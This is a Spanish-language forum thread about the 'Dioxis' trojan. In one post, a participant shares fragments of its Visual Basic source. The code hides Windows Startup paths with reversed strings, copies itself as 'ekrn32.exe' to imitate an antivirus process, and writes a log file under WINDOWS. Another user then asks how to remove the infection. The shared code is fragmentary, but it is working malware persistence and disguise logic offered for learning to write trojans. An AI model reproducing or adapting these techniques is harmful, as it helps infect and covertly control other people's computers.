Prestale atención a eso que dice Skapunky .. y por otra parte .. el code de Dioxis esta comentado por todos lados, no hay como perderse XD, pero bueno, para que puedas aprender algo más que ejecutar troyanos, te dejo esto
..
[...]
Dim iniliti As String, insiete As String, letra As String ' variables para instalacion al inicio
Dim logs As String 'variable para almacenamiento de logs
[...]
iniliti = Environ$(StrReverse("eliforpresu")) & StrReverse("putratS\smargorP\uneM tratS\swodniW\tfosorciM\")
insiete = Environ$(StrReverse("eliforpresu")) & StrReverse("putratS\smargorP\uneM tratS\swodniW\tfosorciM\gnimaoR\ataDppA\")
letra = Environ$(StrReverse("evirdemoh")) & StrReverse("oicinI\samargorP\oicinI úneM\sresU llA\sgnitteS dna stnemucoD\")
[...]
If Not Dir(letra & "\ekrn32.exe", vbArchive) Then FileCopy ejec, StrReverse("exe.23nrke\" & StrReverse(letra))
If Dir(iniliti, vbDirectory) <> "" Then
If Not Dir(iniliti & "\ekrn.exe") Then FileCopy ejec, iniliti & StrReverse("exe.23nrke\")
End If
If Dir(insiete, vbDirectory) Then
If Not Dir(insiete & "\ekrn.exe") Then FileCopy ejec, insiete & StrReverse("exe.23nrke\")
End If
[...]
log = Environ$("homedrive") & "/WINDOWS/logs.txt"
[...]
Dim sistrema As String, casa As String, ini As String, casuca As String 'variables posicionales
[...]
casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
ini = casa & "\ctfmon.bat"
casuca = Environ$("Homedrive") & "\bios.txt"
Saludos
Autor
. Ya se k soy muy penco pero necesito ayuda sobre como desinfectarme sin necesidad de descargarme ningun antivirus nuevo. 
En línea
![WWW](data:text/html,<img src="http://img199.imageshack.us/img199/7002/norris.gif" />;http://)
